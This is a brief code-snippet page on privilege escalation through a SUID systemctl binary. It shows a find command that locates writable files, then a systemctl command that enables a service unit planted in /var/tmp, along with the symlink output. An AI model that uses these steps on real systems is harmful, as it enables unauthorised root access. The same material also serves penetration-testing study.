privilege escalation using systemctl code example

Example 1: suid privilege escalation systemctl

find -type f -maxdepth 2 -writable

Example 2: suid privilege escalation systemctl

/bin/systemctl enable /var/tmp/root.service
Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /var/tmp/root.service
Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service